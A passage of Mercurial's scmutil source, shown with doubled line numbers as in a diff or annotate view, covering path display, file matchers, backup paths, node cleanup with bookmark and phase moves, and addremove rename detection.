796 config = repo.ui.config(b'ui', b'relative-paths')
797 if config == b'legacy':
797 if config == b'legacy':
798 relative = legacyrelativevalue
798 relative = legacyrelativevalue
799 else:
799 else:
800 relative = stringutil.parsebool(config)
800 relative = stringutil.parsebool(config)
801 if relative is None:
801 if relative is None:
802 raise error.ConfigError(
802 raise error.ConfigError(
803 _(b"ui.relative-paths is not a boolean ('%s')") % config
803 _(b"ui.relative-paths is not a boolean ('%s')") % config
804 )
804 )
805
805
806 if relative:
806 if relative:
807 cwd = repo.getcwd()
807 cwd = repo.getcwd()
808 pathto = repo.pathto
808 pathto = repo.pathto
809 return lambda f: pathto(f, cwd)
809 return lambda f: pathto(f, cwd)
810 elif repo.ui.configbool(b'ui', b'slash'):
810 elif repo.ui.configbool(b'ui', b'slash'):
811 return lambda f: f
811 return lambda f: f
812 else:
812 else:
813 return util.localpath
813 return util.localpath
814
814
815
815
816 def subdiruipathfn(subpath, uipathfn):
816 def subdiruipathfn(subpath, uipathfn):
817 '''Create a new uipathfn that treats the file as relative to subpath.'''
817 '''Create a new uipathfn that treats the file as relative to subpath.'''
818 return lambda f: uipathfn(posixpath.join(subpath, f))
818 return lambda f: uipathfn(posixpath.join(subpath, f))
819
819
820
820
821 def anypats(pats, opts):
821 def anypats(pats, opts):
822 '''Checks if any patterns, including --include and --exclude were given.
822 '''Checks if any patterns, including --include and --exclude were given.
823
823
824 Some commands (e.g. addremove) use this condition for deciding whether to
824 Some commands (e.g. addremove) use this condition for deciding whether to
825 print absolute or relative paths.
825 print absolute or relative paths.
826 '''
826 '''
827 return bool(pats or opts.get(b'include') or opts.get(b'exclude'))
827 return bool(pats or opts.get(b'include') or opts.get(b'exclude'))
828
828
829
829
830 def expandpats(pats):
830 def expandpats(pats):
831 '''Expand bare globs when running on windows.
831 '''Expand bare globs when running on windows.
832 On posix we assume it already has already been done by sh.'''
832 On posix we assume it already has already been done by sh.'''
833 if not util.expandglobs:
833 if not util.expandglobs:
834 return list(pats)
834 return list(pats)
835 ret = []
835 ret = []
836 for kindpat in pats:
836 for kindpat in pats:
837 kind, pat = matchmod._patsplit(kindpat, None)
837 kind, pat = matchmod._patsplit(kindpat, None)
838 if kind is None:
838 if kind is None:
839 try:
839 try:
840 globbed = glob.glob(pat)
840 globbed = glob.glob(pat)
841 except re.error:
841 except re.error:
842 globbed = [pat]
842 globbed = [pat]
843 if globbed:
843 if globbed:
844 ret.extend(globbed)
844 ret.extend(globbed)
845 continue
845 continue
846 ret.append(kindpat)
846 ret.append(kindpat)
847 return ret
847 return ret
848
848
849
849
850 def matchandpats(
850 def matchandpats(
851 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
851 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
852 ):
852 ):
853 '''Return a matcher and the patterns that were used.
853 '''Return a matcher and the patterns that were used.
854 The matcher will warn about bad matches, unless an alternate badfn callback
854 The matcher will warn about bad matches, unless an alternate badfn callback
855 is provided.'''
855 is provided.'''
856 if opts is None:
856 if opts is None:
857 opts = {}
857 opts = {}
858 if not globbed and default == b'relpath':
858 if not globbed and default == b'relpath':
859 pats = expandpats(pats or [])
859 pats = expandpats(pats or [])
860
860
861 uipathfn = getuipathfn(ctx.repo(), legacyrelativevalue=True)
861 uipathfn = getuipathfn(ctx.repo(), legacyrelativevalue=True)
862
862
863 def bad(f, msg):
863 def bad(f, msg):
864 ctx.repo().ui.warn(b"%s: %s\n" % (uipathfn(f), msg))
864 ctx.repo().ui.warn(b"%s: %s\n" % (uipathfn(f), msg))
865
865
866 if badfn is None:
866 if badfn is None:
867 badfn = bad
867 badfn = bad
868
868
869 m = ctx.match(
869 m = ctx.match(
870 pats,
870 pats,
871 opts.get(b'include'),
871 opts.get(b'include'),
872 opts.get(b'exclude'),
872 opts.get(b'exclude'),
873 default,
873 default,
874 listsubrepos=opts.get(b'subrepos'),
874 listsubrepos=opts.get(b'subrepos'),
875 badfn=badfn,
875 badfn=badfn,
876 )
876 )
877
877
878 if m.always():
878 if m.always():
879 pats = []
879 pats = []
880 return m, pats
880 return m, pats
881
881
882
882
883 def match(
883 def match(
884 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
884 ctx, pats=(), opts=None, globbed=False, default=b'relpath', badfn=None
885 ):
885 ):
886 '''Return a matcher that will warn about bad matches.'''
886 '''Return a matcher that will warn about bad matches.'''
887 return matchandpats(ctx, pats, opts, globbed, default, badfn=badfn)[0]
887 return matchandpats(ctx, pats, opts, globbed, default, badfn=badfn)[0]
888
888
889
889
890 def matchall(repo):
890 def matchall(repo):
891 '''Return a matcher that will efficiently match everything.'''
891 '''Return a matcher that will efficiently match everything.'''
892 return matchmod.always()
892 return matchmod.always()
893
893
894
894
895 def matchfiles(repo, files, badfn=None):
895 def matchfiles(repo, files, badfn=None):
896 '''Return a matcher that will efficiently match exactly these files.'''
896 '''Return a matcher that will efficiently match exactly these files.'''
897 return matchmod.exact(files, badfn=badfn)
897 return matchmod.exact(files, badfn=badfn)
898
898
899
899
900 def parsefollowlinespattern(repo, rev, pat, msg):
900 def parsefollowlinespattern(repo, rev, pat, msg):
901 """Return a file name from `pat` pattern suitable for usage in followlines
901 """Return a file name from `pat` pattern suitable for usage in followlines
902 logic.
902 logic.
903 """
903 """
904 if not matchmod.patkind(pat):
904 if not matchmod.patkind(pat):
905 return pathutil.canonpath(repo.root, repo.getcwd(), pat)
905 return pathutil.canonpath(repo.root, repo.getcwd(), pat)
906 else:
906 else:
907 ctx = repo[rev]
907 ctx = repo[rev]
908 m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
908 m = matchmod.match(repo.root, repo.getcwd(), [pat], ctx=ctx)
909 files = [f for f in ctx if m(f)]
909 files = [f for f in ctx if m(f)]
910 if len(files) != 1:
910 if len(files) != 1:
911 raise error.ParseError(msg)
911 raise error.ParseError(msg)
912 return files[0]
912 return files[0]
913
913
914
914
915 def getorigvfs(ui, repo):
915 def getorigvfs(ui, repo):
916 """return a vfs suitable to save 'orig' file
916 """return a vfs suitable to save 'orig' file
917
917
918 return None if no special directory is configured"""
918 return None if no special directory is configured"""
919 origbackuppath = ui.config(b'ui', b'origbackuppath')
919 origbackuppath = ui.config(b'ui', b'origbackuppath')
920 if not origbackuppath:
920 if not origbackuppath:
921 return None
921 return None
922 return vfs.vfs(repo.wvfs.join(origbackuppath))
922 return vfs.vfs(repo.wvfs.join(origbackuppath))
923
923
924
924
925 def backuppath(ui, repo, filepath):
925 def backuppath(ui, repo, filepath):
926 '''customize where working copy backup files (.orig files) are created
926 '''customize where working copy backup files (.orig files) are created
927
927
928 Fetch user defined path from config file: [ui] origbackuppath = <path>
928 Fetch user defined path from config file: [ui] origbackuppath = <path>
929 Fall back to default (filepath with .orig suffix) if not specified
929 Fall back to default (filepath with .orig suffix) if not specified
930
930
931 filepath is repo-relative
931 filepath is repo-relative
932
932
933 Returns an absolute path
933 Returns an absolute path
934 '''
934 '''
935 origvfs = getorigvfs(ui, repo)
935 origvfs = getorigvfs(ui, repo)
936 if origvfs is None:
936 if origvfs is None:
937 return repo.wjoin(filepath + b".orig")
937 return repo.wjoin(filepath + b".orig")
938
938
939 origbackupdir = origvfs.dirname(filepath)
939 origbackupdir = origvfs.dirname(filepath)
940 if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
940 if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
941 ui.note(_(b'creating directory: %s\n') % origvfs.join(origbackupdir))
941 ui.note(_(b'creating directory: %s\n') % origvfs.join(origbackupdir))
942
942
943 # Remove any files that conflict with the backup file's path
943 # Remove any files that conflict with the backup file's path
944 for f in reversed(list(pathutil.finddirs(filepath))):
944 for f in reversed(list(pathutil.finddirs(filepath))):
945 if origvfs.isfileorlink(f):
945 if origvfs.isfileorlink(f):
946 ui.note(_(b'removing conflicting file: %s\n') % origvfs.join(f))
946 ui.note(_(b'removing conflicting file: %s\n') % origvfs.join(f))
947 origvfs.unlink(f)
947 origvfs.unlink(f)
948 break
948 break
949
949
950 origvfs.makedirs(origbackupdir)
950 origvfs.makedirs(origbackupdir)
951
951
952 if origvfs.isdir(filepath) and not origvfs.islink(filepath):
952 if origvfs.isdir(filepath) and not origvfs.islink(filepath):
953 ui.note(
953 ui.note(
954 _(b'removing conflicting directory: %s\n') % origvfs.join(filepath)
954 _(b'removing conflicting directory: %s\n') % origvfs.join(filepath)
955 )
955 )
956 origvfs.rmtree(filepath, forcibly=True)
956 origvfs.rmtree(filepath, forcibly=True)
957
957
958 return origvfs.join(filepath)
958 return origvfs.join(filepath)
959
959
960
960
961 class _containsnode(object):
961 class _containsnode(object):
962 """proxy __contains__(node) to container.__contains__ which accepts revs"""
962 """proxy __contains__(node) to container.__contains__ which accepts revs"""
963
963
964 def __init__(self, repo, revcontainer):
964 def __init__(self, repo, revcontainer):
965 self._torev = repo.changelog.rev
965 self._torev = repo.changelog.rev
966 self._revcontains = revcontainer.__contains__
966 self._revcontains = revcontainer.__contains__
967
967
968 def __contains__(self, node):
968 def __contains__(self, node):
969 return self._revcontains(self._torev(node))
969 return self._revcontains(self._torev(node))
970
970
971
971
972 def cleanupnodes(
972 def cleanupnodes(
973 repo,
973 repo,
974 replacements,
974 replacements,
975 operation,
975 operation,
976 moves=None,
976 moves=None,
977 metadata=None,
977 metadata=None,
978 fixphase=False,
978 fixphase=False,
979 targetphase=None,
979 targetphase=None,
980 backup=True,
980 backup=True,
981 ):
981 ):
982 """do common cleanups when old nodes are replaced by new nodes
982 """do common cleanups when old nodes are replaced by new nodes
983
983
984 That includes writing obsmarkers or stripping nodes, and moving bookmarks.
984 That includes writing obsmarkers or stripping nodes, and moving bookmarks.
985 (we might also want to move working directory parent in the future)
985 (we might also want to move working directory parent in the future)
986
986
987 By default, bookmark moves are calculated automatically from 'replacements',
987 By default, bookmark moves are calculated automatically from 'replacements',
988 but 'moves' can be used to override that. Also, 'moves' may include
988 but 'moves' can be used to override that. Also, 'moves' may include
989 additional bookmark moves that should not have associated obsmarkers.
989 additional bookmark moves that should not have associated obsmarkers.
990
990
991 replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
991 replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
992 have replacements. operation is a string, like "rebase".
992 have replacements. operation is a string, like "rebase".
993
993
994 metadata is dictionary containing metadata to be stored in obsmarker if
994 metadata is dictionary containing metadata to be stored in obsmarker if
995 obsolescence is enabled.
995 obsolescence is enabled.
996 """
996 """
997 assert fixphase or targetphase is None
997 assert fixphase or targetphase is None
998 if not replacements and not moves:
998 if not replacements and not moves:
999 return
999 return
1000
1000
1001 # translate mapping's other forms
1001 # translate mapping's other forms
1002 if not util.safehasattr(replacements, b'items'):
1002 if not util.safehasattr(replacements, b'items'):
1003 replacements = {(n,): () for n in replacements}
1003 replacements = {(n,): () for n in replacements}
1004 else:
1004 else:
1005 # upgrading non tuple "source" to tuple ones for BC
1005 # upgrading non tuple "source" to tuple ones for BC
1006 repls = {}
1006 repls = {}
1007 for key, value in replacements.items():
1007 for key, value in replacements.items():
1008 if not isinstance(key, tuple):
1008 if not isinstance(key, tuple):
1009 key = (key,)
1009 key = (key,)
1010 repls[key] = value
1010 repls[key] = value
1011 replacements = repls
1011 replacements = repls
1012
1012
1013 # Unfiltered repo is needed since nodes in replacements might be hidden.
1013 # Unfiltered repo is needed since nodes in replacements might be hidden.
1014 unfi = repo.unfiltered()
1014 unfi = repo.unfiltered()
1015
1015
1016 # Calculate bookmark movements
1016 # Calculate bookmark movements
1017 if moves is None:
1017 if moves is None:
1018 moves = {}
1018 moves = {}
1019 for oldnodes, newnodes in replacements.items():
1019 for oldnodes, newnodes in replacements.items():
1020 for oldnode in oldnodes:
1020 for oldnode in oldnodes:
1021 if oldnode in moves:
1021 if oldnode in moves:
1022 continue
1022 continue
1023 if len(newnodes) > 1:
1023 if len(newnodes) > 1:
1024 # usually a split, take the one with biggest rev number
1024 # usually a split, take the one with biggest rev number
1025 newnode = next(unfi.set(b'max(%ln)', newnodes)).node()
1025 newnode = next(unfi.set(b'max(%ln)', newnodes)).node()
1026 elif len(newnodes) == 0:
1026 elif len(newnodes) == 0:
1027 # move bookmark backwards
1027 # move bookmark backwards
1028 allreplaced = []
1028 allreplaced = []
1029 for rep in replacements:
1029 for rep in replacements:
1030 allreplaced.extend(rep)
1030 allreplaced.extend(rep)
1031 roots = list(
1031 roots = list(
1032 unfi.set(b'max((::%n) - %ln)', oldnode, allreplaced)
1032 unfi.set(b'max((::%n) - %ln)', oldnode, allreplaced)
1033 )
1033 )
1034 if roots:
1034 if roots:
1035 newnode = roots[0].node()
1035 newnode = roots[0].node()
1036 else:
1036 else:
1037 newnode = nullid
1037 newnode = nullid
1038 else:
1038 else:
1039 newnode = newnodes[0]
1039 newnode = newnodes[0]
1040 moves[oldnode] = newnode
1040 moves[oldnode] = newnode
1041
1041
1042 allnewnodes = [n for ns in replacements.values() for n in ns]
1042 allnewnodes = [n for ns in replacements.values() for n in ns]
1043 toretract = {}
1043 toretract = {}
1044 toadvance = {}
1044 toadvance = {}
1045 if fixphase:
1045 if fixphase:
1046 precursors = {}
1046 precursors = {}
1047 for oldnodes, newnodes in replacements.items():
1047 for oldnodes, newnodes in replacements.items():
1048 for oldnode in oldnodes:
1048 for oldnode in oldnodes:
1049 for newnode in newnodes:
1049 for newnode in newnodes:
1050 precursors.setdefault(newnode, []).append(oldnode)
1050 precursors.setdefault(newnode, []).append(oldnode)
1051
1051
1052 allnewnodes.sort(key=lambda n: unfi[n].rev())
1052 allnewnodes.sort(key=lambda n: unfi[n].rev())
1053 newphases = {}
1053 newphases = {}
1054
1054
1055 def phase(ctx):
1055 def phase(ctx):
1056 return newphases.get(ctx.node(), ctx.phase())
1056 return newphases.get(ctx.node(), ctx.phase())
1057
1057
1058 for newnode in allnewnodes:
1058 for newnode in allnewnodes:
1059 ctx = unfi[newnode]
1059 ctx = unfi[newnode]
1060 parentphase = max(phase(p) for p in ctx.parents())
1060 parentphase = max(phase(p) for p in ctx.parents())
1061 if targetphase is None:
1061 if targetphase is None:
1062 oldphase = max(
1062 oldphase = max(
1063 unfi[oldnode].phase() for oldnode in precursors[newnode]
1063 unfi[oldnode].phase() for oldnode in precursors[newnode]
1064 )
1064 )
1065 newphase = max(oldphase, parentphase)
1065 newphase = max(oldphase, parentphase)
1066 else:
1066 else:
1067 newphase = max(targetphase, parentphase)
1067 newphase = max(targetphase, parentphase)
1068 newphases[newnode] = newphase
1068 newphases[newnode] = newphase
1069 if newphase > ctx.phase():
1069 if newphase > ctx.phase():
1070 toretract.setdefault(newphase, []).append(newnode)
1070 toretract.setdefault(newphase, []).append(newnode)
1071 elif newphase < ctx.phase():
1071 elif newphase < ctx.phase():
1072 toadvance.setdefault(newphase, []).append(newnode)
1072 toadvance.setdefault(newphase, []).append(newnode)
1073
1073
1074 with repo.transaction(b'cleanup') as tr:
1074 with repo.transaction(b'cleanup') as tr:
1075 # Move bookmarks
1075 # Move bookmarks
1076 bmarks = repo._bookmarks
1076 bmarks = repo._bookmarks
1077 bmarkchanges = []
1077 bmarkchanges = []
1078 for oldnode, newnode in moves.items():
1078 for oldnode, newnode in moves.items():
1079 oldbmarks = repo.nodebookmarks(oldnode)
1079 oldbmarks = repo.nodebookmarks(oldnode)
1080 if not oldbmarks:
1080 if not oldbmarks:
1081 continue
1081 continue
1082 from . import bookmarks # avoid import cycle
1082 from . import bookmarks # avoid import cycle
1083
1083
1084 repo.ui.debug(
1084 repo.ui.debug(
1085 b'moving bookmarks %r from %s to %s\n'
1085 b'moving bookmarks %r from %s to %s\n'
1086 % (
1086 % (
1087 pycompat.rapply(pycompat.maybebytestr, oldbmarks),
1087 pycompat.rapply(pycompat.maybebytestr, oldbmarks),
1088 hex(oldnode),
1088 hex(oldnode),
1089 hex(newnode),
1089 hex(newnode),
1090 )
1090 )
1091 )
1091 )
1092 # Delete divergent bookmarks being parents of related newnodes
1092 # Delete divergent bookmarks being parents of related newnodes
1093 deleterevs = repo.revs(
1093 deleterevs = repo.revs(
1094 b'parents(roots(%ln & (::%n))) - parents(%n)',
1094 b'parents(roots(%ln & (::%n))) - parents(%n)',
1095 allnewnodes,
1095 allnewnodes,
1096 newnode,
1096 newnode,
1097 oldnode,
1097 oldnode,
1098 )
1098 )
1099 deletenodes = _containsnode(repo, deleterevs)
1099 deletenodes = _containsnode(repo, deleterevs)
1100 for name in oldbmarks:
1100 for name in oldbmarks:
1101 bmarkchanges.append((name, newnode))
1101 bmarkchanges.append((name, newnode))
1102 for b in bookmarks.divergent2delete(repo, deletenodes, name):
1102 for b in bookmarks.divergent2delete(repo, deletenodes, name):
1103 bmarkchanges.append((b, None))
1103 bmarkchanges.append((b, None))
1104
1104
1105 if bmarkchanges:
1105 if bmarkchanges:
1106 bmarks.applychanges(repo, tr, bmarkchanges)
1106 bmarks.applychanges(repo, tr, bmarkchanges)
1107
1107
1108 for phase, nodes in toretract.items():
1108 for phase, nodes in toretract.items():
1109 phases.retractboundary(repo, tr, phase, nodes)
1109 phases.retractboundary(repo, tr, phase, nodes)
1110 for phase, nodes in toadvance.items():
1110 for phase, nodes in toadvance.items():
1111 phases.advanceboundary(repo, tr, phase, nodes)
1111 phases.advanceboundary(repo, tr, phase, nodes)
1112
1112
1113 mayusearchived = repo.ui.config(b'experimental', b'cleanup-as-archived')
1113 mayusearchived = repo.ui.config(b'experimental', b'cleanup-as-archived')
1114 # Obsolete or strip nodes
1114 # Obsolete or strip nodes
1115 if obsolete.isenabled(repo, obsolete.createmarkersopt):
1115 if obsolete.isenabled(repo, obsolete.createmarkersopt):
1116 # If a node is already obsoleted, and we want to obsolete it
1116 # If a node is already obsoleted, and we want to obsolete it
1117 # without a successor, skip that obssolete request since it's
1117 # without a successor, skip that obssolete request since it's
1118 # unnecessary. That's the "if s or not isobs(n)" check below.
1118 # unnecessary. That's the "if s or not isobs(n)" check below.
1119 # Also sort the node in topology order, that might be useful for
1119 # Also sort the node in topology order, that might be useful for
1120 # some obsstore logic.
1120 # some obsstore logic.
1121 # NOTE: the sorting might belong to createmarkers.
1121 # NOTE: the sorting might belong to createmarkers.
1122 torev = unfi.changelog.rev
1122 torev = unfi.changelog.rev
1123 sortfunc = lambda ns: torev(ns[0][0])
1123 sortfunc = lambda ns: torev(ns[0][0])
1124 rels = []
1124 rels = []
1125 for ns, s in sorted(replacements.items(), key=sortfunc):
1125 for ns, s in sorted(replacements.items(), key=sortfunc):
1126 rel = (tuple(unfi[n] for n in ns), tuple(unfi[m] for m in s))
1126 rel = (tuple(unfi[n] for n in ns), tuple(unfi[m] for m in s))
1127 rels.append(rel)
1127 rels.append(rel)
1128 if rels:
1128 if rels:
1129 obsolete.createmarkers(
1129 obsolete.createmarkers(
1130 repo, rels, operation=operation, metadata=metadata
1130 repo, rels, operation=operation, metadata=metadata
1131 )
1131 )
1132 elif phases.supportinternal(repo) and mayusearchived:
1132 elif phases.supportinternal(repo) and mayusearchived:
1133 # this assume we do not have "unstable" nodes above the cleaned ones
1133 # this assume we do not have "unstable" nodes above the cleaned ones
1134 allreplaced = set()
1134 allreplaced = set()
1135 for ns in replacements.keys():
1135 for ns in replacements.keys():
1136 allreplaced.update(ns)
1136 allreplaced.update(ns)
1137 if backup:
1137 if backup:
1138 from . import repair # avoid import cycle
1138 from . import repair # avoid import cycle
1139
1139
1140 node = min(allreplaced, key=repo.changelog.rev)
1140 node = min(allreplaced, key=repo.changelog.rev)
1141 repair.backupbundle(
1141 repair.backupbundle(
1142 repo, allreplaced, allreplaced, node, operation
1142 repo, allreplaced, allreplaced, node, operation
1143 )
1143 )
1144 phases.retractboundary(repo, tr, phases.archived, allreplaced)
1144 phases.retractboundary(repo, tr, phases.archived, allreplaced)
1145 else:
1145 else:
1146 from . import repair # avoid import cycle
1146 from . import repair # avoid import cycle
1147
1147
1148 tostrip = list(n for ns in replacements for n in ns)
1148 tostrip = list(n for ns in replacements for n in ns)
1149 if tostrip:
1149 if tostrip:
1150 repair.delayedstrip(
1150 repair.delayedstrip(
1151 repo.ui, repo, tostrip, operation, backup=backup
1151 repo.ui, repo, tostrip, operation, backup=backup
1152 )
1152 )
1153
1153
1154
1154
1155 def addremove(repo, matcher, prefix, uipathfn, opts=None):
1155 def addremove(repo, matcher, prefix, uipathfn, opts=None):
1156 if opts is None:
1156 if opts is None:
1157 opts = {}
1157 opts = {}
1158 m = matcher
1158 m = matcher
1159 dry_run = opts.get(b'dry_run')
1159 dry_run = opts.get(b'dry_run')
1160 try:
1160 try:
1161 similarity = float(opts.get(b'similarity') or 0)
1161 similarity = float(opts.get(b'similarity') or 0)
1162 except ValueError:
1162 except ValueError:
1163 raise error.Abort(_(b'similarity must be a number'))
1163 raise error.Abort(_(b'similarity must be a number'))
1164 if similarity < 0 or similarity > 100:
1164 if similarity < 0 or similarity > 100:
1165 raise error.Abort(_(b'similarity must be between 0 and 100'))
1165 raise error.Abort(_(b'similarity must be between 0 and 100'))
1166 similarity /= 100.0
1166 similarity /= 100.0
1167
1167
1168 ret = 0
1168 ret = 0
1169
1169
1170 wctx = repo[None]
1170 wctx = repo[None]
1171 for subpath in sorted(wctx.substate):
1171 for subpath in sorted(wctx.substate):
1172 submatch = matchmod.subdirmatcher(subpath, m)
1172 submatch = matchmod.subdirmatcher(subpath, m)
1173 if opts.get(b'subrepos') or m.exact(subpath) or any(submatch.files()):
1173 if opts.get(b'subrepos') or m.exact(subpath) or any(submatch.files()):
1174 sub = wctx.sub(subpath)
1174 sub = wctx.sub(subpath)
1175 subprefix = repo.wvfs.reljoin(prefix, subpath)
1175 subprefix = repo.wvfs.reljoin(prefix, subpath)
1176 subuipathfn = subdiruipathfn(subpath, uipathfn)
1176 subuipathfn = subdiruipathfn(subpath, uipathfn)
1177 try:
1177 try:
1178 if sub.addremove(submatch, subprefix, subuipathfn, opts):
1178 if sub.addremove(submatch, subprefix, subuipathfn, opts):
1179 ret = 1
1179 ret = 1
1180 except error.LookupError:
1180 except error.LookupError:
1181 repo.ui.status(
1181 repo.ui.status(
1182 _(b"skipping missing subrepository: %s\n")
1182 _(b"skipping missing subrepository: %s\n")
1183 % uipathfn(subpath)
1183 % uipathfn(subpath)
1184 )
1184 )
1185
1185
1186 rejected = []
1186 rejected = []
1187
1187
1188 def badfn(f, msg):
1188 def badfn(f, msg):
1189 if f in m.files():
1189 if f in m.files():
1190 m.bad(f, msg)
1190 m.bad(f, msg)
1191 rejected.append(f)
1191 rejected.append(f)
1192
1192
1193 badmatch = matchmod.badmatch(m, badfn)
1193 badmatch = matchmod.badmatch(m, badfn)
1194 added, unknown, deleted, removed, forgotten = _interestingfiles(
1194 added, unknown, deleted, removed, forgotten = _interestingfiles(
1195 repo, badmatch
1195 repo, badmatch
1196 )
1196 )
1197
1197
1198 unknownset = set(unknown + forgotten)
1198 unknownset = set(unknown + forgotten)
1199 toprint = unknownset.copy()
1199 toprint = unknownset.copy()
1200 toprint.update(deleted)
1200 toprint.update(deleted)
1201 for abs in sorted(toprint):
1201 for abs in sorted(toprint):
1202 if repo.ui.verbose or not m.exact(abs):
1202 if repo.ui.verbose or not m.exact(abs):
1203 if abs in unknownset:
1203 if abs in unknownset:
1204 status = _(b'adding %s\n') % uipathfn(abs)
1204 status = _(b'adding %s\n') % uipathfn(abs)
1205 label = b'ui.addremove.added'
1205 label = b'ui.addremove.added'
1206 else:
1206 else:
1207 status = _(b'removing %s\n') % uipathfn(abs)
1207 status = _(b'removing %s\n') % uipathfn(abs)
1208 label = b'ui.addremove.removed'
1208 label = b'ui.addremove.removed'
1209 repo.ui.status(status, label=label)
1209 repo.ui.status(status, label=label)
1210
1210
1211 renames = _findrenames(
1211 renames = _findrenames(
1212 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1212 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1213 )
1213 )
1214
1214
1215 if not dry_run:
1215 if not dry_run:
1216 _markchanges(repo, unknown + forgotten, deleted, renames)
1216 _markchanges(repo, unknown + forgotten, deleted, renames)
1217
1217
1218 for f in rejected:
1218 for f in rejected:
1219 if f in m.files():
1219 if f in m.files():
1220 return 1
1220 return 1
1221 return ret
1221 return ret
1222
1222
1223
1223
1224 def marktouched(repo, files, similarity=0.0):
1224 def marktouched(repo, files, similarity=0.0):
1225 '''Assert that files have somehow been operated upon. files are relative to
1225 '''Assert that files have somehow been operated upon. files are relative to
1226 the repo root.'''
1226 the repo root.'''
1227 m = matchfiles(repo, files, badfn=lambda x, y: rejected.append(x))
1227 m = matchfiles(repo, files, badfn=lambda x, y: rejected.append(x))
1228 rejected = []
1228 rejected = []
1229
1229
1230 added, unknown, deleted, removed, forgotten = _interestingfiles(repo, m)
1230 added, unknown, deleted, removed, forgotten = _interestingfiles(repo, m)
1231
1231
1232 if repo.ui.verbose:
1232 if repo.ui.verbose:
1233 unknownset = set(unknown + forgotten)
1233 unknownset = set(unknown + forgotten)
1234 toprint = unknownset.copy()
1234 toprint = unknownset.copy()
1235 toprint.update(deleted)
1235 toprint.update(deleted)
1236 for abs in sorted(toprint):
1236 for abs in sorted(toprint):
1237 if abs in unknownset:
1237 if abs in unknownset:
1238 status = _(b'adding %s\n') % abs
1238 status = _(b'adding %s\n') % abs
1239 else:
1239 else:
1240 status = _(b'removing %s\n') % abs
1240 status = _(b'removing %s\n') % abs
1241 repo.ui.status(status)
1241 repo.ui.status(status)
1242
1242
1243 # TODO: We should probably have the caller pass in uipathfn and apply it to
1243 # TODO: We should probably have the caller pass in uipathfn and apply it to
1244 # the messages above too. legacyrelativevalue=True is consistent with how
1244 # the messages above too. legacyrelativevalue=True is consistent with how
1245 # it used to work.
1245 # it used to work.
1246 uipathfn = getuipathfn(repo, legacyrelativevalue=True)
1246 uipathfn = getuipathfn(repo, legacyrelativevalue=True)
1247 renames = _findrenames(
1247 renames = _findrenames(
1248 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1248 repo, m, added + unknown, removed + deleted, similarity, uipathfn
1249 )
1249 )
1250
1250
1251 _markchanges(repo, unknown + forgotten, deleted, renames)
1251 _markchanges(repo, unknown + forgotten, deleted, renames)
1252
1252
1253 for f in rejected:
1253 for f in rejected:
1254 if f in m.files():
1254 if f in m.files():
1255 return 1
1255 return 1
1256 return 0
1256 return 0
1257
1257
1258
1258
1259 def _interestingfiles(repo, matcher):
1259 def _interestingfiles(repo, matcher):
1260 '''Walk dirstate with matcher, looking for files that addremove would care
1260 '''Walk dirstate with matcher, looking for files that addremove would care
1261 about.
1261 about.
1262
1262
1263 This is different from dirstate.status because it doesn't care about
1263 This is different from dirstate.status because it doesn't care about
1264 whether files are modified or clean.'''
1264 whether files are modified or clean.'''
1265 added, unknown, deleted, removed, forgotten = [], [], [], [], []
1265 added, unknown, deleted, removed, forgotten = [], [], [], [], []
1266 audit_path = pathutil.pathauditor(repo.root, cached=True)
1266 audit_path = pathutil.pathauditor(repo.root, cached=True)
1267
1267
1268 ctx = repo[None]
1268 ctx = repo[None]
1269 dirstate = repo.dirstate
1269 dirstate = repo.dirstate
1270 matcher = repo.narrowmatch(matcher, includeexact=True)
1270 matcher = repo.narrowmatch(matcher, includeexact=True)
1271 walkresults = dirstate.walk(
1271 walkresults = dirstate.walk(
1272 matcher,
1272 matcher,
1273 subrepos=sorted(ctx.substate),
1273 subrepos=sorted(ctx.substate),
1274 unknown=True,
1274 unknown=True,
1275 ignored=False,
1275 ignored=False,
1276 full=False,
1276 full=False,
1277 )
1277 )
1278 for abs, st in pycompat.iteritems(walkresults):
1278 for abs, st in pycompat.iteritems(walkresults):
1279 dstate = dirstate[abs]
1279 dstate = dirstate[abs]
1280 if dstate == b'?' and audit_path.check(abs):
1280 if dstate == b'?' and audit_path.check(abs):
1281 unknown.append(abs)
1281 unknown.append(abs)
1282 elif dstate != b'r' and not st:
1282 elif dstate != b'r' and not st:
1283 deleted.append(abs)
1283 deleted.append(abs)
1284 elif dstate == b'r' and st:
1284 elif dstate == b'r' and st:
1285 forgotten.append(abs)
1285 forgotten.append(abs)
1286 # for finding renames
1286 # for finding renames
1287 elif dstate == b'r' and not st:
1287 elif dstate == b'r' and not st:
1288 removed.append(abs)
1288 removed.append(abs)
1289 elif dstate == b'a':
1289 elif dstate == b'a':
1290 added.append(abs)
1290 added.append(abs)
1291
1291
1292 return added, unknown, deleted, removed, forgotten
1292 return added, unknown, deleted, removed, forgotten
1293
1293
1294
1294
1295 def _findrenames(repo, matcher, added, removed, similarity, uipathfn):
1295 def _findrenames(repo, matcher, added, removed, similarity, uipathfn):
1296 '''Find renames from removed files to added ones.'''
1296 '''Find renames from removed files to added ones.'''
1297 renames = {}
1297 renames = {}
1298 if similarity > 0:
1298 if similarity > 0:
1299 for old, new, score in similar.findrenames(
1299 for old, new, score in similar.findrenames(
1300 repo, added, removed, similarity
1300 repo, added, removed, similarity
1301 ):
1301 ):
1302 if (
1302 if (
1303 repo.ui.verbose
1303 repo.ui.verbose
1304 or not matcher.exact(old)
1304 or not matcher.exact(old)
1305 or not matcher.exact(new)
1305 or not matcher.exact(new)
1306 ):
1306 ):
1307 repo.ui.status(
1307 repo.ui.status(
1308 _(
1308 _(
1309 b'recording removal of %s as rename to %s '
1309 b'recording removal of %s as rename to %s '
1310 b'(%d%% similar)\n'
1310 b'(%d%% similar)\n'
1311 )
1311 )
1312 % (uipathfn(old), uipathfn(new), score * 100)
1312 % (uipathfn(old), uipathfn(new), score * 100)
1313 )
1313 )
1314 renames[new] = old
1314 renames[new] = old
1315 return renames
1315 return renames
1316
1316
1317
1317
1318 def _markchanges(repo, unknown, deleted, renames):
1318 def _markchanges(repo, unknown, deleted, renames):
1319 '''Marks the files in unknown as added, the files in deleted as removed,
